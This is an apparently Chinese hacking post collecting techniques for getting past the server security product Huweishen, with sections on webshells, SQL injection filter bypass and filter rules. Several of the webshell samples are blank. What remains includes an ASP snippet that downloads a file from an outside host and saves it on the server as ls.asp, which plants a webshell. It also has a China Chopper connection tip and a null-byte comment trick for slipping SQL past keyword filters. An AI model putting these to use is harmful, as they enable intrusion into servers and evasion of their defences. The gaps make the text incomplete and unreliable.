突破护卫神技术总汇

一、马儿篇，都是以前可以过护卫神的马
二、注入篇，可以绕过注入的方法
三、规则篇，根据护卫神的过滤规则大家可以自己设计马儿

一、马儿篇

1号马，

2号马，

nono

 

3号马，

菜刀直接连，不需要构造连接字符串，密码 c

类似于过安全狗的包含方法
A.asp版本：

将一句话保存为 XX.jpg 上传后 地址为 …/xxxxxx.jpg

在上传一个 x.asp 内容为

B.php版本

如果是php的话：

实在不行，还可以下载
远程下载马

<% 
Set xPost = CreateObject(“Microsoft.XMLHTTP”) 
xPost.Open “GET”,”http://www.yunsec.net/123/1.txt”,False 
xPost.Send() 
Set sGet = CreateObject(“ADODB.Stream”) 
sGet.Mode = 3 
sGet.Type = 1 
sGet.Open() 
sGet.Write(xPost.responseBody) 
sGet.SaveToFile Server.MapPath(“ls.asp”),2 
set sGet = nothing 
set sPOST = nothing 
%> 

二、注入篇

/*%00*/截断符
select/*%00*/* from admin;

三、规则篇

可以利用类似：

方法绕过关键词过滤